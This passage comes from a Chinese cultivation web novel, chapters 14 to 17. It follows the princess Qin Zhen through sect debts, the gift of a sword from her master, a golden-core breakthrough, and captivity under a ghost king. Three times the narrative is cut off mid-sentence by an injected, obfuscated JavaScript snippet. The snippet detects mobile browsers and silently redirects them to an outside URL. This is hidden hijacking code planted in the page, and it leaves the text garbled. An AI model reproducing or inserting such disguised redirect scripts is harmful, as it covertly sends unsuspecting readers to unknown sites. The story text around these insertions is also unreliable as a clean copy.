旬鹊保持着一脸沉浸在故事中思索的表情。 她终于知道了,剧本为什么崩得这么厉害——柳清沂,是天道剧本的上一个女主。 14. 身外之物还是很重要的 走一步捡一个秘宝,修行如喝水,轻轻松松登至巅峰,再轻轻松松失去一切,这是天选之子们千篇一律的修炼路,天道像个批发剧本的,将同样的剧情发给所有天选之子。 不同的是,失去一切后,有人看破红尘飞升——这是通过了天道的历练;有人深陷其中,产生心魔——这是没通过天道试炼的。 但天道会先派任务者拉回剧情,若是任务者失败了,主角还是没能飞升,他们身上的天道气运才会被收回,变回芸芸众生中的一员。 旬鹊觉得还是很公平的嘛,通过了磨练才能飞升,没通过的就被打回原形,虽然说这种给了又收的磨练方式很有些恶趣味。 柳清沂定是上一个天道剧本的主角,她的道侣就是跟自己一样的天道任务者。但如她所说,她看不开,没能飞升,变回一个普通的修炼者。 大概这其中耽误了许多时间,赶上下一个天道剧本启动,她从前走火入魔杀过许多人,便成了这个剧本里的反派之一。 “其实那人在我走火入魔后一直照顾我,他说让我信他,放下执念便能飞升了,很简单的。”柳清沂说。 旬鹊想,是啊,很简单的,修行就是为了飞升,执着于曾经的一切,变回普通人,和放下失去的一切,得道飞升,实在很简单的选择。那“一切”里,虽然一定包含重要之人,但换个思路看待,那些重要之人其实也是天道给的磨砺,跨过他们,红尘皆淡,断了尘缘,才能得道飞升。 “但我就是看不开,放不下,我就是这样的人。我留念世间,没有能飞升的道心。”柳清沂说。 “可是......修行不就是为了飞升吗?明明你可以飞升的。”旬鹊叹气,前两天还说柳清沂是个大魔头,这下她倒是有些同情她——已经在属于自己的剧本里失去了一切,还要被卷进下一个剧本里,成了女主要去杀的反派。 柳清沂盯着她的眼睛,慢慢说:“并不是所有人修行都是为了飞升,很多人很多事,比飞升重要太多。” 旬鹊于是沉默了,她修行就是为了飞升,没有什么比飞升更重要,她一路走来遇到的许多人也都是这么想的,甚至他们原先认为重要的东西,在修为和飞升前也可轻易抛下。 “不过,为了飞升而修行也很好,安心修炼,早日飞升,便不用受尘世的苦。”柳清沂说:“小师妹,师姐和师父师兄,倒是很希望你能好好修炼飞升,但你记住,飞升不是任何人任何事被迫改变的借口,若你想做的事与飞升冲突,做你想做的。” 秦蓁问:“有什么事......是和飞升冲突的呢?” 柳清沂说:“很多。你生在皇室,应当明白,君要臣死,臣不得不死。” 秦蓁瞳孔微缩。 她明白了,比如师姐,若是要飞升,她妹妹必须死,可她想她妹妹活着。飞升或许重要,但对于她来说,那不是任何人能取走她妹妹性命的理由。 秦蓁说:“我明白了,师姐,我大抵是能专心修炼飞升的,若我以后有了什么更想要做的事,我也会去做的。顺本心而为,才能真正得道。” 柳清沂听到这话笑起来,笑了好一会儿才停下,她看着秦蓁,眼里还带着笑意,轻轻捏了下她的小脸:“你能如此想,倒也不错。那你现在没有什么想做的吗?” 秦蓁想了想,提起她的小木剑,说:“想去练剑。” 柳清沂哈哈大笑,说:“师父他在为你铸剑,待他回来,你能有把好剑修行。” 秦蓁眼睛亮了亮,应声,跟旬鹊道了别,便去练剑。 旬鹊松口气,她真怕秦蓁受柳清沂的影响,开始纠结飞升会失去的东西,然后踌躇不前。所幸秦蓁感情淡薄,前十五年的人生大抵已经消耗完她对感情的渴望,将自己全身心投入修行中,这样很好,不那么在乎拥有,也就不那么在乎失去。 她跟柳清沂行礼告别,御剑飞回日月峰。 柳清沂在一旁看秦蓁练剑,直至天黑,她收剑准备回房打坐修炼,转头看见自己还在,明显怔愣一瞬。 她笑,招手示意秦蓁过来。 小姑娘眼神疑惑,但还是乖乖走过来,柳清沂笑容更大,心想小师妹恐怕在想着师姐今日怎么不修炼。 她故意问:“小师妹,在想什么?” 没想到秦蓁说:“想我的剑要练到多好,才能在绝对的力量前有反抗的能力。” 这下轮到她怔愣了。 秦蓁说:“师姐,我明白你说的意思,你放心,我不会变成为了飞升放弃自我的人,也不会被......”她学着柳清沂白日那样,抬手指指天:“不会被随意摆弄,我的路,都要是我自己选。” 柳清沂眼神复杂:“小师妹......你知道了你是......”她没说完,看着秦蓁。 秦蓁微微扬起唇角:“师姐,我不在乎,我不要那些力量。” 柳清沂点头,秦蓁说不要她是相信的,不然也不会上交那些秘宝,所以她觉得秦蓁这般至纯至真的心性很适合修炼,才与她说了这些话,当然,也有试探旬鹊的意思。 “旬鹊是什么人,你清楚吗?” 秦蓁摇头,又点头:“我从前出宫游玩带回的她,或许她与‘那人’有点渊源,我会多留心。但师姐,小鹊也帮过我很多。” 柳清沂温柔的看着她:“我明白了。蓁蓁很聪明,做你想做的便好,但到困境也要同我们说,进了咱们师门,这里便是你的家,我们会护你。” 家? 秦蓁想起金碧辉煌的皇宫,最奢华名贵的衣饰,接连送来的奇珍秘宝,花式繁多的脂粉发簪,一张张带笑的假面,一眼看不到头的侍女护卫,还有许多许多,最后定格在一片血泊,父皇母后倒在那里。 还有母后那句:“我是京中孟家之女,孟亭栀。” 她说她不是肖拭云,她不是她母后。 她其实可以问很多人:肖拭云是谁,她是个怎样的人,她真是我母亲吗,为何十五年来我从未见过她。 她甚至现在就可以问问师姐。 但她从来不问,因为她不愿。 她已离开凡人界,或许再没有机会找到京中孟家,问一声孟亭栀是谁,也没办法问任何人:她死了,你会不会难过? 因为所有人都说,肖拭云是她的母亲。 只有肖拭云,没有孟亭栀。 没有人在乎孟亭栀,只有她因为十五年来只看见过那个人,所以才想问这么一句话,但却不知道这句话该向谁问,才能得到答案。 她明白,自己其实并没有面上那么容易放下,她一遍遍练剑,也是不想空闲时想起曾经的事。 还是......莫要想太多,一心修炼吧。总归她们都死了,她并没有选择什么的权力。 于是只轻轻说:“好。” * 第二天一早,柳清沂就告知了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116419|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦蓁一个消息,让她昨天的感悟与脸上平静的表情瞬间被打破。 她轻轻开口,尾音微微颤抖:“师姐,你再说一遍......” 柳清沂的表情也很不好,语气有些憋屈又无奈:“小师妹,宗门秘境那个噬花兽被一个弟子打伤,秘境里一大半的灵花灵草都被毁了,所幸那位弟子后面发现不对停手了,喊了会拘缚阵的同伴来,控制住了噬花兽,但被毁的灵花灵草......算下来估计也有上千万灵石,鉴于是旬鹊摘的花,噬花兽暴怒后追着你,林赴川跟你们一起跳下裂谷,所以......长老们的决定是,你们三人和打伤噬花兽的那位弟子共同偿还这笔灵石。” 秦蓁突然觉得,身外之物也是很重要的,她昨天应该把那些秘宝留下,问问林赴川他拿通玉兽的内丹是卖到哪里,她不应该提议一起上交,应该提议一起卖掉…… 她还想挣扎一下:“师姐,噬花兽虽然一般不伤人,但……是不是也不太适合放在宗门秘境里给弟子们历练……” “确实,我也提过,但无论秘境内外,灵花灵草茂盛的地方都有噬花兽的存在,它们也靠它滋养。秘境外的那些噬花兽会躲着人,秘境内的……这么多年来,除了你们这次,让秘境内的噬花兽狂暴的人只有一个人。” 秦蓁眼神好奇,柳清沂欲言又止:“是你师兄。” 师门不幸…… 秦蓁好奇的脑袋垮了下去。她现在很想跟师兄细细请教一番他赚灵石还债的办法。 “小师妹,别担心,师父已经帮你还了,这些长老肯定是因为昨天我……啧,竟然从你下手,真是越活越没脸皮了。”柳清沂很不高兴。 “师父……帮我还了?”秦蓁吸气:“我会尽快赚够灵石还师父的。” “没事的小师妹,你师兄当年可是一个人欠的债,而且还不是宗门秘境,是其他更大的秘境,师父也帮忙还了。你专心修炼就好,不用还师父的,你放心,咱们师门不穷的。”柳清沂说。 秦蓁摇头:“要还的,只是我现在还不起。我会尽快还师父的。” 柳清沂还要说什么,秦蓁赶紧说:“没事的师姐,我接点宗门任务,正好去历练。” “好吧,我回头跟师父说声。”柳清沂心下叹气,小师妹还是有些太过客气了。 秦蓁应声,问了柳清沂接宗门任务的具体流程,便御剑飞去日月峰。 因为许多弟子还在秘境历练,接任务的地方人并不多,她按师姐说的找到各个任务栏,看着上面的任务和酬劳,选了几个“击退宗门山脚下的灵兽”这类任务,去找管事师兄排队登记。 排队时,她拿出玉牌,念出旬鹊的名字:“小鹊,你知不知道......”她顿了一下,从前身为皇朝公主,“没钱花”这种事她从没思考过,旬鹊跟着她也没忧心过俸禄,一下子欠债了,倒是让她有些不知道怎么开口。 “阿蓁姐姐......师父跟我说了,我们欠债了......”旬鹊的声音有些飘忽,欠下大笔灵石这个消息对于她来说无异于惊天霹雳:“阿蓁姐姐,我昨天听那些长老念秘宝的名字,有个秘宝叫‘点石成金’,我好心痛啊......我们要去赚灵石了......” 旬鹊欲哭无泪,发誓以后一定努力做任务拉回剧情,不让女主自由发挥了。 看看,这就是老天爷上的第一课,叫做:生活不止有修行和练剑,还有欠钱和打工。 15. 她的剑 “这位师妹很是面生,是新来的弟子吗?叫什么名字?是哪座峰的?”到她登记任务牌时,管事师兄问。 “是新弟子,刚拜入坐忘峰,名叫秦蓁。”她答。 “坐忘峰?”管事师兄面带新奇:“是柳长老的徒弟吗?” “不是,我是她师妹,师父是苏长老。” 那管事师兄深吸口气:“竟是苏长老!苏长老隐世许久,竟然出关了。” 他看了看秦蓁登记的任务牌,说:“秦师妹,你这几个任务,其他都没什么,但这个‘寻迹百幽境’,是去百幽境调查几个古怪事件,是个小队任务,登记任务牌只算是报名,这个任务难度很高,报名后是由观云峰陈长老挑选够资格的弟子组成小队的。你是新来的弟子,陈长老不一定会放心让你去冒险,不过你是坐忘峰的......倒也不一定,但还是告知你一声,这个任务不一定能登记上。” 秦蓁犹豫了会,问:“我可以找陈长老自荐一下吗?” “这......秦师妹为何一定要接这个任务?这任务其实也并不适合新弟子去做,虽然没有明白写上,但这些需要长老挑选的小队任务,基本都要求金丹期以上弟子才能接取。” “我……缺灵石,这个任务报酬很高。”秦蓁说。 管事师兄表情古怪,大概没想到坐忘峰新收的弟子竟然缺灵石缺到要来接任务赚灵石,一般来接任务的弟子都是为了历练,他说:“我可以在上交名册时跟陈长老说一声,如果你想找陈长老,或许可以问问苏长老和柳长老。” “多谢管事师兄。” 秦蓁行礼离开,打算回去先问问师姐能不能帮忙联系陈长老,再待师父回来跟他学些基础阵法。 她拿出玉牌,与旬鹊说了自己接取的任务名称,旬鹊有气无力表示自己晚些会来接。 “还有百幽境那个任务,一会儿我问问师姐,再与你说。” 旬鹊一激灵:“百幽境?” “恩,这个任务报酬很高,不过是小队任务,需要其他长老选人,我问问师姐,看能不能联系那位长老。” 旬鹊嘶了一声,百幽境是剧情中期的一个副本,怎么跑这么前来了。不过,虽然时间节点有点问题,但既然是剧情里的任务,早来晚来都得做,秦蓁主动接取了任务,那可是再好不过。 她催促秦蓁去问,还要记得加上她,她现在就去接任务登记去。 * 秦蓁回到坐忘峰,跟柳清沂说了这个任务,柳清沂想了想,百幽境她曾经去过,确实是个历练的好去处,大小危机没断过,但却没什么致命的危险。 至于要求金丹期的实力,秦蓁虽然刚刚筑基,但除了灵力与筑基期弟子一般无二外,对剑的领悟和实战的应对这些,都远超同境界的人,只要陈长老不因为她是筑基期直接划掉,她就肯定能选上。 柳清沂于是应下,去观云峰找陈长老。 柳清沂走后,秦蓁开始每日的练剑。 她如今练剑,先是照寻常弟子修炼一般,用灵力裹挟手中剑,以灵力为气去挥剑,一招一式皆带着自身灵力。这样修炼的好处是,如果没有剑,但只要有灵力,万物皆可为武器,一片被聚起灵力打出去的碎叶,也能杀人。所以练剑,更是练习对灵力的掌控运转,不过坏处也相当明显,灵力枯竭,便极易成为任人宰割的鱼肉。 所以她每每练剑都注入翻倍的灵力去练,练至灵力枯竭后,她便提着没有灵力的剑,从头练一遍剑招。剑势依旧凌厉,却因没有聚灵,攻击力减少许多,她此时练剑,更多的是练自己对剑本身的把控,及对自身力度收放的精准性。或许不能一击必杀,但能伤人,便已是在灵力枯竭时多了一条退路。 只是没有灵力运剑,自然没有灵力护体,她的手被磨掉了一层皮,血顺着剑流下来,也随着她的剑招飞溅出去。 用力挥出最后一式,她收势揽回剑,吃了颗回灵丹,施了个清洁术将小木剑上的血迹和溅到地上的血珠清理干净,坐到雪松下的石桌旁给自己涂药。 这些药是极好的药,敷上一会儿血肉便会长出,秦蓁其实觉得,这般好药拿来给她每日练剑后、用来处理手伤,着实浪费,但师父师姐一致让她用,师姐还嫌她药抹少了,一日的练剑后师姐给她抹药,将她双手涂了个遍,让她哭笑不得,一直说她不觉得很疼。 是真的没觉得有多疼,她从前金贵得婢女要将花枝上的细刺一一剪掉才递给她,如今日日练剑被磨掉手中皮肉,竟然却觉得也没有多疼。大抵就是,她不愿和愿意的区别。 她想练剑,想练好剑,便觉得那样的痛并不多么难以忍受。 待手上药被吸收,伤口恢复如初,她收起药和小木剑。 已至夜晚,该回屋打坐修炼了。 秦蓁抬头,看见月下、雪松下,来人一袭白衣,发丝带雪,似乎在那儿站了许久。 他念出她的名字,语气带笑意,脸上也带笑意,如空中皎洁明月,却覆上了坐忘峰的一重雪,飘渺得如梦似幻。 “蓁蓁,我找了一个从前的朋友,为你铸了把剑。”苏逐走上前,拿出一柄长剑。 一柄通体蓝紫色的长剑,长四尺,剑身色深,在月光下发出莹莹幽光,似与夜色一般冷峻,但也平和的容纳着夜空所有的暗角。剑柄墨红如绸交织,融入深深的蓝紫之中,墨色繁纹自剑柄处向下攀爬,至剑身一寸处,似云纹,似流焰。 它身旁同色的剑鞘,有焰火云纹雕琢其上、黑鹤绕其而上,立之唳之。 秦蓁看见的第一眼,只觉世间万籁俱静,时间的流逝变得极缓极缓,她不自觉放轻了呼吸,慢慢抬手,接过这柄剑,细细端详抚摸,感受它在手中的重量,亦感受它的嗡鸣与自己的震颤。 “你果然喜欢。”苏逐看着她的样子,轻轻笑道:“原先我请我那位朋友铸剑,要他铸把雪色长剑,他仅知你是我徒弟,我亦对你了解不深,商讨一番,我将你的命线占与他看,他闭门七日,用昆仑玄铁与天冥陨铁铸出这把剑。” “当时我就觉得,这才是你的剑。你也一定会喜欢这样的一把剑。” 秦蓁平复了下心绪,却仍有震颤随着她的话语泄出:“我很喜欢这把剑。” 师姐说师父在为她铸剑时,她就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116420|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有想过自己的剑会是什么样子。大概是寻常的雪色剑,她看过很多同门都带着雪色长剑,师姐也是,雪色长剑十分漂亮,她也很喜欢。若是把墨色长剑也很不错,她觉得自己都会很喜欢。 但她那时想象自己的剑,虽然欢喜,却也觉得那与她现在用的小木剑并无差别。 可如今见到这柄剑,她却感受到自己全身血液都随着它流传的幽光而起伏,心绪难静,这是一种,一眼认定的感觉。 这是她的剑。 “师父,谢谢你。多谢你们。”秦蓁深吸口气,终于缓缓从那震颤中抽出神魂来。 “不必这般客气,蓁蓁,这柄剑尚未命名,我想你自己取比较合适,你已及笄,也可取字了,我问过肖掌门,他说由你自己取。” “随你自己心意便好。”苏逐说。 秦蓁眼眶微热,她静静看着这柄剑,良久才说:“我……一时还未能想到一个好名字,待日后再取,可以吗?” 苏逐的神色更加温和:“当然可以,但凭你心意。” “这个你也收下。”苏逐递来一个小玉瓶:“我回来路上收到陈长老传音,她说你要去百幽境。百幽境不比宗门秘境,离道源宫很远,在修真界边缘那块,你第一次去这么远的地方,我放心不下。这是突破金丹期的丹药,你这几日冲击一下修为,再服下丹药,闭关结金丹。” “突破金丹期,你的丹田内便会有一颗金丹,金丹不毁,人不会有事,受伤也能抗上一抗,你体内有我的灵力阵法,我能感受到你的状态,你且放心,若有什么事,我会赶到。” 苏逐盯着她看了一会儿,微微叹气:“但我希望你能顾好自己,不要受伤是最好。任务可以与同门弟子一齐商讨着做,师父不急着你的灵石,催你师兄还是因为他得这样才能长长记性。” 秦蓁笑出来,一个很轻松真挚的笑容:“谢谢师父,我知道的。但我想尽快还师父灵石,是因为我知道师父对我好,所以我也想对师父好。” “不是客气,不是逞能,我也想历练自己。”秦蓁扬起头看着苏逐笑。 苏逐停顿一瞬,再开口语气更加轻缓:“好。百幽境你师兄比我更熟悉,明日我喊他出关给你讲些需注意的事宜,你再去闭关冲击金丹期。” 秦蓁应声,眼睛亮亮望着他,像在乖乖等待他下一句叮嘱。 苏逐笑起来:“好了,别这样看我……总之一切以你自身安危为重,历练和任务其次。” “但若是有什么很想做的,那便去做吧。”苏逐对上秦蓁的眼睛,认真说道:“我不会阻拦你做任何事,如果你认为有些事必须做……受伤了师父会在的。” “是会出什么事吗?师父算了一卦?”秦蓁问。 “算了一卦,仍是未知,但你选择怎样的路,都可以。”苏逐说。 秦蓁高高应声,背起她的剑,朝苏逐笑,道了声“师父晚安”,得到苏逐的回应,便回屋了。 她回屋,仍扬着笑细细看她的剑。 看了许久,她将剑收回鞘。 她觉得这真是世上最好、最锋利、又最温和的一柄剑。 16. 往后记得防火防盗防师兄 “百幽境,位于修真界西北边境,再往北一点,便能看见凡人界界碑。那里有很多开灵后修成人形的灵花灵草——同样,也有灵兽、鬼怪、和真正是‘人’的修炼者。所以百幽境命名‘百幽’,因为那里属于修真界的一个‘暗角’,万类修行者皆聚于此。”许翊之说。 “所以小师妹,你要始终记着一句话:不要将那里任何一个‘人’当作真正的人看,哪怕它们外表——也就是修的人形,有多完美。” 秦蓁皱眉:“它们……会害人?” “或许。”许翊之说:“灵草灵兽虽能修成人形,但思维却与人不同,它们有自身种族的一套行为逻辑,你很难判断它们的善恶。” “比如,我们被人追杀,会逃、会查清原因、会找机会反杀回去。但多数灵草灵兽是因为一个执念开悟化形,可能并不在意被伤害,只追寻它们的执念。所以如果看到一个‘人’被伤害却无动于衷,不要急着去帮它,否则可能会被它攻击。” “对伤害无动于衷,对帮助它的人却发动攻击?” 许翊之点头:“对,化形艰难,它们认为‘伤害’是必须的,你帮助它们,阻挡伤害,它们觉得你才是在害它。” 秦蓁觉得有些难以理解,眉头皱得很紧。 “但也不是都是这样,只是大多数,它们看待世界很简单,开悟化形只是追寻执念的第一步,它们的一生都仅是围绕引导它们开悟的那个执念而转,或许很多年很多年之后,才能真正拥有一颗人心,才能有人的思维,明白‘伤害’真正的意义。” 秦蓁思索:“就像人类孩童一样,还不懂世间善恶真假,要在慢慢长大中一点一点悟出,只是它们却没有趋利避害的本能。” 许翊之想了想,说:“是这样。” “所以最好静观其变,多思虑,再决定要不要去帮助那些‘人’,虽说修行人要行侠仗义,但也得保全自己,不能鲁莽行事,也不必费太多时间教悉它们,那是它们必经的路。” 秦蓁其实并不十分认同,但也点点头。 “还有一类,鬼怪。”许翊之接着说。 “百幽境的鬼怪,并不是游魂,而是一些修鬼道的人和他们御的鬼,与地府界的鬼怪差不多,但实力要低得多,基本是地府界刚入门的小鬼太弱小了,在弱肉强食相当严重的地府界难以生存,被他们师父扔出来历练。但偶尔也有非常强大的鬼修出现,所以遇上鬼怪,还是多加小心。人和灵草灵兽都是聚灵力,鬼怪聚的是黑色鬼气,还是很好分辨的。” 秦蓁说:“我记下了。” 许翊之又说了些他曾去百幽境的经历,许多经验仅针对百幽境这个地方,让秦蓁开了眼界:百幽境当真是个神奇的地方,那里许多习性完全不同的种族,竟能共同生存,且多数是相当和谐的。 但一直以来都未有人打破这份和谐,说明其中必有能人相护。 “就是如此小师妹,你此去历练,自身安危为重,别学师兄往死处跑,我是为了逼出心魔。”许翊之认真叮嘱。 说起心魔,秦蓁正好将之前的疑惑问出:“师兄的心魔……为何已至飞升期?师父给我的那些修炼书上说,心魔是自身极端部分的放大,但哪怕心魔根深的人,也只是不顾一切去做自己最想做的事,并不会完全变成另一个……不像自己的人。” “魂隐宗,我从前的……家,宗门秘法很是诡异,我曾被他们换过根骨,换了一副……魔骨。” 许翊之目光沉沉:“我的心魔,不如说是那人的神魂,有点类似被附体,但他看不上我的天赋,所以一开始只是与我共居一体,后面因为有师父的阵法,他被压制得很虚弱,除非我临近濒死,否则他出不来。” “我闯秘境,是因为我修炼很难突破,必须追求破而后立,早日进阶飞升期才有彻底抹杀他的希望。他很怕师父,每次濒死前只要回到坐忘峰,他基本也会老实。上次是……”许翊之声音小了点:“对不住,小师妹。” “不过,他似乎是看上你的根骨天赋了,但附身不是那么好完成,我与师父也在压制削弱他,你不必太过担心,只是……若发现我有什么不对,便离我远些,之前给你的挂坠,你要放好。” 秦蓁想起许翊之心魔那句未完的话,她的命线……是断的? “师兄,若你们为一体,伤他也会伤到你吧?”秦蓁问。 许翊之点头:“所以真正诛杀他,很难,只能暂且逼退他。”他沉思一会儿,说:“小师妹,若往后我突破至飞升期,便不要太相信我说的话,他拥有我的记忆。” “为何?”秦蓁问。 “不能通过修为区分了。”许翊之说。 秦蓁呆了一下:“不用通过修为区分。” 许翊之疑惑:“那你们是如何区分的?” 秦蓁静默。 师兄,这可太好区分了…… 她叹气:“师兄,你好好修炼。” 许翊之认真点头:“小师妹也是,你要闭关了吧?你去吧,好好闭关。” 秦蓁看着呆呆的师兄,忍了忍笑意,也认真点点头。 她来到山腰的洞府,依苏逐所说,破开结界进去,里面仅有一张玉石床。 玉石床散出一点灵力,她走过去,将自己的剑放好在身前,闭眼打坐,运转周天。 * “她要突破了。” 柳清沂望着坐忘峰上的聚来的雷云,说道。 苏逐抬手布下阵法,说:“待她出关,还要教她些基础阵法。” 柳清沂问:“师父,你真把小师妹的雷劫引到自己身上了?” “恩,所以她日后破镜,最好是在坐忘峰,不然她可能会起疑。”苏逐答。 柳清沂眼神有些复杂:“师父……你若是抗雷劫抗得多了,天道亦会发现你的。” 苏逐没应声,聚起灵力接下第一道天雷,才说:“她现在修为不高,这种程度的天雷劈下,我不会有事,但她大抵是不能接的。” 第二道天雷劈下,苏逐以灵力聚剑,挥出,将劈下的天雷打散。 “她命线有异,恐怕天雷劈第一下就会发现,再招来的便是能诛灭飞升期神魂的天雷了。” 紧接着第三道天雷直冲而下,苏逐继续聚灵挥剑,直至九道天雷劈完,他散开指尖灵力,撤去阵法,面色平和,说道:“你去迎她出关,说我在这等她来学阵法。” 苏逐说完,从储物戒中拿出一些新学基础阵法要用到的东西,开始布置。 柳清沂没有动,她沉默的看着苏逐,觉得这样的师父有些陌生。他从前对徒弟们虽然也很好,不管是自己还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116421|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师弟,都受了他极大的恩惠,但他虽然温和,却并不是个多心软的人。 她曾经问过,为什么他要帮她和师弟,他说,本来不想管闲事的,但心念一动,莫名觉得还是要帮一下。 后来她发现,苏逐帮过很多人,也做过很多事,很多维护着世间万物的事。 这举动分明也是心怀天下的。 可他的道心却是碎的。道心碎了,真的还能做到去维护世间吗? 至少她自己不行,她从那滔天的恨意和不屈的抗争中保持着自我的善恶,已尽全力。 她也曾问过这个问题。 苏逐难得露出一丝迷茫,说他并不清楚他的道心是怎么碎的,似乎某天醒来,就是这样了。 但他不怎么在乎,他不想飞升,也没什么事可做,便这样活着,有时顺手帮一些人,做一些事,不算真正的随心,但也不算不随心。 只是自己和师弟的问题比较棘手,他才收徒,将他们放在自己身边照看。 她原以为,小师妹亦是如此,因为小师妹和她的命数有些像,师父也说,小师妹是同自己一样被天道选中的人。 但师父似乎有些不一样了。 他不像从前那般,看似温和实则与人很有距离,而是更柔和,更亲近人了,像渐渐有了心的感觉,能从很细微的地方发觉秦蓁的感受,并去在乎这些感受。 “师父,小师妹……是什么人?”她开口问。 苏逐停下手中在布置的阵法,看向她,并未带笑,但确实是相当温柔的气场:“我不知道,或许我与她曾经相识。” “或许我们都是,在更早的时候就相识。你、你师弟、她和我。” 柳清沂惊讶:“师父算到什么了吗?” “并未,我算不出来。但我能感受到,我的心境变了,或许往后,不必总是算些什么。答案并不一定要靠卜卦算出。”苏逐说完,继续布置阵法:“去接你小师妹出关吧。” * 柳清沂在山腰洞府口,手抵结界,与秦蓁传音:“小师妹,恭喜金丹期,身体可还好?待你修为巩固好,来学些基础阵法,师父在峰顶院子里等你。” 她说完,翻了翻自己的储物戒,想着小师妹马上要出发去百幽境,便选了个驱鬼气的法宝,当作她的出关礼物。 没一会儿,秦蓁破开结界,扬着笑朝她跑来:“师姐!” 柳清沂也不自觉笑起来,看着她,心下很软。 她照常摸摸小师妹的头,将那驱散鬼气的法宝递来:“给你的,驱散鬼气用的,小师妹第一次出远门,可要护好自己,你出事,我们都会很担心,知道吗?” 秦蓁带着笑看了她一会儿,抱了抱她,说:“我知道的师姐。谢谢你、师父、师兄,谢谢你们。” 柳清沂被秦蓁这一抱弄得愣了,小师妹似乎放下了什么,真正融入了这里,开始拿他们当作她的家人。 会依赖,会拥抱,会不舍的家人。 她轻轻回抱她。 * 带着小师妹到峰顶院子里,柳清沂看着苏逐教秦蓁各种基础阵法。 坐忘峰上依旧下着小雪,雪松香竹木香依旧萦绕,日光依旧柔和,微风依旧轻轻拂过,这是与从前每一日相同的一天。 但她大概找到答案了。 17. 你从前可不会这样对我…… 你这样看我…… 秦蓁被困在百幽境一个月了。 一个月前,她与旬鹊还有四位陈长老挑选的师兄师姐接下“寻迹百幽境”的任务,出发探查百幽境内的几件怪事,没想到他们刚一入境,便被人抓起,关押至一座府邸。 准确说,是秦蓁独自被关在这座府邸里,旬鹊与其他师兄师姐的下落,她却不知。 她尝试用玉牌联系旬鹊和师门,却无人应答,像被切断了通讯,这块玉牌好似变成了个普通的玉牌。 这座府邸很大,除了那层覆盖在府邸上的结界外,倒是与京城那些大户人家的府邸一般无二,那层结界她每天都要积蓄灵力朝同一个角打去,试图破开一个小洞,但那结界巍然不动,这一个月来,连半分都未被削弱。 那个一身鬼气的男子隔几天便会来一次,她每次感受到鬼气,二话不说提剑就攻上去,那人游刃有余避开她的剑招,时而打出一点鬼气击向她露出的破绽,她迅速用剑格开,再借力攻过去,被避开,她再攻,直到那人没兴趣了,便抬手用鬼气压死她的动作,让她无法动弹。 如天堑般的实力差距让秦蓁明白,这人接她的剑招,有点像喂招,更像他单方面的戏耍。 但秦蓁却没放弃,每次都尝试寻找那人一丝的破绽,一个能将剑刺入伤到他的契机。 但这人每次用鬼气压制她后,便会满嘴说胡话,什么“你从前可不会对我出剑”、“你这般眼神看我真是叫我难受”、“我从前是真的……可惜你从来不信”云云,偏偏她问什么他都不答,或者乱答。 同门下落不明,师门传讯无果,她被莫名其妙关押在此,还有这人隔几日便来如此戏弄人,让她很有些烦躁,只想一剑刺过去。 一开始时那男子大抵是来确认她被关押在这,见她攻过来抬手一道鬼气钻入她眉心,将她周身经脉封住。灵力运转受阻,她滞了一下,干脆散开灵力,如平日练剑时那般用自身力量挥剑。 那人奇怪的“咦”一声,避开她的攻击,她握剑继续劈向那人,他却不出手,仅是避开她的剑,如此反复几次,似乎终于确认了什么,随着男子抬手,她被鬼气封住的经脉突然剧痛,她将剑插入地,死死撑住,才没有万分狼狈的被这骇人鬼气压在地上。 “原来是你。” 那人说:“我从前没见过这般年纪的你,第一眼也并未仔细看你。” 秦蓁很肯定,自己从前绝对没见过他,这人飞升期的修为因那骇人鬼气,压迫感比寻常飞升期更甚,若是见过,她不可能不记得。 这人说话总有些未尽的感觉,比如那句没仔细看她,顺着他的话意,下一句该是“所以没认出你”之类的,但他的话只到前面那句,没有后面那句。 秦蓁觉得这人实在莫名其妙。 心绪浮动,她忧心同门安危,又无力突破结界,每每见到这人,便拿他当切磋陪练,由着他用鬼气戏耍自己,她自磨砺她的剑招。 今日她感受到鬼气,照常提剑冲过去,那人却立刻压制住了她,说:“今日不打了。你不是一直想知道为何我将你们捉来关押吗?还有你同门的下落。” 秦蓁顿住,说:“这一个月来我问什么你都不好好答,今日却肯告诉我?” 那男子挑眉,道:“除了我不想说所以没回答的,其他问题我可都有好好答。” 秦蓁想起他回答的那些胡话,蹙眉:“所以你为何捉我们?我同门师姐师兄被你关在哪里?他们现今如何?你到底是何人?” 男子答:“受人之托。你同门被我关在另一座府邸,不过离这远得很,他们更是好得很,说不定都不想回宗门了。” “至于我。”男子冷笑一声:“我是地府界鬼王。我叫什么名字你自己想,想不起来就算。” 秦蓁眉头紧锁,竟是地府界鬼王,难怪修为这般高,至于名字……鬼王确实来头大,这种顶尖大能的传闻肯定是很多的,奈何她是初入江湖,只顾窝在师门闷头练剑,压根不知道修真界各个势力分布,更别提谁谁谁叫什么。 